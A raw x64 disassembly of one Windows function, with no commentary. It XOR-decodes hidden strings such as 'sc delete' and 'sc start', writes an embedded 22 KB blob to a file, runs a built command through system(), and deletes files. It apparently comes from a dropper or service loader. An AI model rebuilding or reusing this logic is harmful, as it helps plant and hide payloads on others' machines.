mov byte [rbx + rdi], 0
jmp 0x140083e35
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x40]
call fcn.14008cf30
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
mov dword [rbp - 0x60], 0xe8abe9fa
mov dword [rbp - 0x5c], 0xe4eae2e8
mov dword [rbp - 0x58], 0x100b2f4
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xa
jb 0x140083e70
mov byte [rbp - 0x55], 0
lea rax, [rbp - 0x60]
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140083e90
lea rcx, [rbp + 0x20]
cmp rbx, 0xf
ja 0x140083eba
mov qword [rbp + 0x30], rbx
mov r8, rbx
lea rdx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x20], 0
jmp 0x140083ecb
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov rdx, rbx
call fcn.14008cf30
mov r9, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r9, qword [0x1406c7180]
mov rdi, qword [0x1406c7190]
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083f24
lea rax, [rcx + rdi]
mov qword [rbp + 0x30], rax
lea rbx, [rbp + 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x20]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140083f35
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.14008cf30
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc0], 0
mov dword [rbp - 0x60], 0xffabe9fa
mov dword [rbp - 0x5c], 0xe4fdeff9
mov word [rbp - 0x58], 0xb1
mov byte [rbp - 0x56], 1
mov rcx, r12
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 9
jb 0x140083f70
mov byte [rbp - 0x56], 0
lea rax, [rbp - 0x60]
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140083f90
lea rcx, [rbp + 0xc0]
cmp rbx, 0xf
ja 0x140083fc3
mov qword [rbp + 0xd0], rbx
mov r8, rbx
lea rdx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0xc0], 0
jmp 0x140083fd4
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov rdx, rbx
call fcn.14008cf30
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rsi, qword [0x1406c7180]
mov rdi, qword [0x1406c7190]
mov rcx, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xd8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140084039
lea rax, [rcx + rdi]
mov qword [rbp + 0xd0], rax
lea rbx, [rbp + 0xc0]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0xc0]
add rbx, rcx
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140084050
mov qword [rsp + 0x20], rdi
mov r9, rsi
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.14008cf30
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rcx, qword [rbp + 0x40]
call fcn.140081a90
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
call fcn.140081a90
mov edx, reloc.WS2_32.dll_ntohs
lea ecx, [rdx - 0xa]
call fcn.1400817d0
mov edx, eax
lea rcx, [rbp + 0x140]
call fcn.140080140
nop
movdqa xmm0, xmmword [0x1402e2530]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0xc0a9a9f4
mov word [rbp - 0x4c], 0x100
mov rcx, r12
nop
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x14
jb 0x1400840b0
mov byte [rbp - 0x4b], 0
lea r8, [rbp + 0x140]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.14008b3d0
mov rsi, rax
mov dword [rbp - 0x60], 0xe9f3efa7
mov word [rbp - 0x5c], 0x100
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 4
jb 0x1400840f0
mov byte [rbp - 0x5b], 0
lea rax, [rbp - 0x60]
mov rdi, r15
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140084110
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140084159
lea rax, [rcx + rdi]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0x10
jb 0x140084140
mov rax, qword [rsi]
lea rbx, [rax + rcx]
mov r8, rdi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
jmp 0x140084170
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov rdx, rdi
mov rcx, rsi
call fcn.14008cf30
mov rsi, rax
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r12
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400841d8
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400841d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400841d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
movdqa xmm0, xmmword [0x1402e2530]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0xc0a9a9f4
mov word [rbp - 0x4c], 0x100
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x14
jb 0x140084210
mov byte [rbp - 0x4b], 0
lea r8, [rbp + 0x140]
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.14008b3d0
mov rdi, rax
mov dword [rbp - 0x60], 0xe9f3efa7
mov word [rbp - 0x5c], 0xad
mov byte [rbp - 0x5a], 1
mov rcx, r12
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 5
jb 0x140084250
mov byte [rbp - 0x5a], 0
lea rax, [rbp - 0x60]
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140084270
mov rsi, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov rax, rcx
sub rax, rsi
cmp rbx, rax
ja 0x1400842ba
lea rax, [rbx + rsi]
mov qword [rdi + 0x10], rax
mov r14, rdi
cmp rcx, 0x10
jb 0x1400842a0
mov r14, qword [rdi]
lea rcx, [r14 + rsi]
mov r8, rbx
lea rdx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbx + r14]
mov byte [rax + rsi], 0
jmp 0x1400842d1
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov rdx, rbx
mov rcx, rdi
call fcn.14008cf30
mov rdi, rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea r9, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r9, qword [rbp + 0x60]
nop
inc r15
cmp byte [r9 + r15], 0
jne 0x140084310
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp r15, rax
ja 0x140084364
lea rax, [r15 + rcx]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8, r15
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + r15], 0
lea rax, [rsp + 0x60]
jmp 0x140084376
mov qword [rsp + 0x20], r15
mov rdx, r15
lea rcx, [rsp + 0x60]
call fcn.14008cf30
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400843ef
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400843ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400843ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140084442
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008443d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008443d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rcx, qword [rbp - 0x30]
inc rcx
call fcn.140237d08
mov rbx, rax
lea rcx, [rbp - 0x40]
mov r8, qword [rbp - 0x30]
cmp qword [rbp - 0x28], 0x10
jb 0x14008447c
mov rdx, qword [rbp - 0x40]
add r8, rdx
jmp 0x140084483
add r8, rcx
lea rdx, [rbp - 0x40]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp - 0x30]
mov byte [rax + rbx], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x30]
inc rcx
call fcn.140237d08
mov rbx, rax
lea rcx, [rbp - 0x40]
mov r8, qword [rbp - 0x30]
cmp qword [rbp - 0x28], 0x10
jb 0x1400844d1
mov rdx, qword [rbp - 0x40]
add r8, rdx
jmp 0x1400844d8
add r8, rcx
lea rdx, [rbp - 0x40]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp - 0x30]
mov byte [rax + rbx], 0
mov dword [rbp - 0x60], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x60]
mov r8d, 0x5800
lea rdx, [0x1405e5c20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0xf0]
inc rcx
call fcn.140237d08
mov rbx, rax
lea rcx, [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
cmp qword [rbp + 0xf8], 0x10
jb 0x140084583
mov rdx, qword [rbp + 0xe0]
add r8, rdx
jmp 0x14008458d
add r8, rcx
lea rdx, [rbp + 0xe0]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp + 0xf0]
mov byte [rax + rbx], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x30]
inc rcx
call fcn.140237d08
mov rbx, rax
lea rcx, [rbp - 0x40]
mov r8, qword [rbp - 0x30]
cmp qword [rbp - 0x28], 0x10
jb 0x1400845de
mov rdx, qword [rbp - 0x40]
add r8, rdx
jmp 0x1400845e5
add r8, rcx
lea rdx, [rbp - 0x40]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp - 0x30]
mov byte [rax + rbx], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [rbp - 0x30]
inc rcx
call fcn.140237d08
mov rbx, rax
lea rcx, [rbp - 0x40]
mov r8, qword [rbp - 0x30]
cmp qword [rbp - 0x28], 0x10
jb 0x140084628
mov rdx, qword [rbp - 0x40]
add r8, rdx
jmp 0x14008462f
add r8, rcx
lea rdx, [rbp - 0x40]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp - 0x30]
mov byte [rax + rbx], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1400846b8
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400846b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400846b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0xf0], r12
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14008470f
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008470a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008470a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x140084763
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008475e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008475e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1400847c0
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400847bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400847bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140084817
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084812
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084812
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140084865
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084860
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084860
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400848b3
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400848ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400848ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140084907
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084902
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084902
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x14008495e
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084959
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084959
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1400849b2
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400849ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400849ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140084a0f
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084a0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084a0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa0], 0
mov rax, qword [rbp + 0x118]
cmp rax, 0x10
jb 0x140084a6e
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084a68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084a68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x140084aad
lea rdx, [rax + 1]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084aa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084aa8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov al, 1
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.1402376c0
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret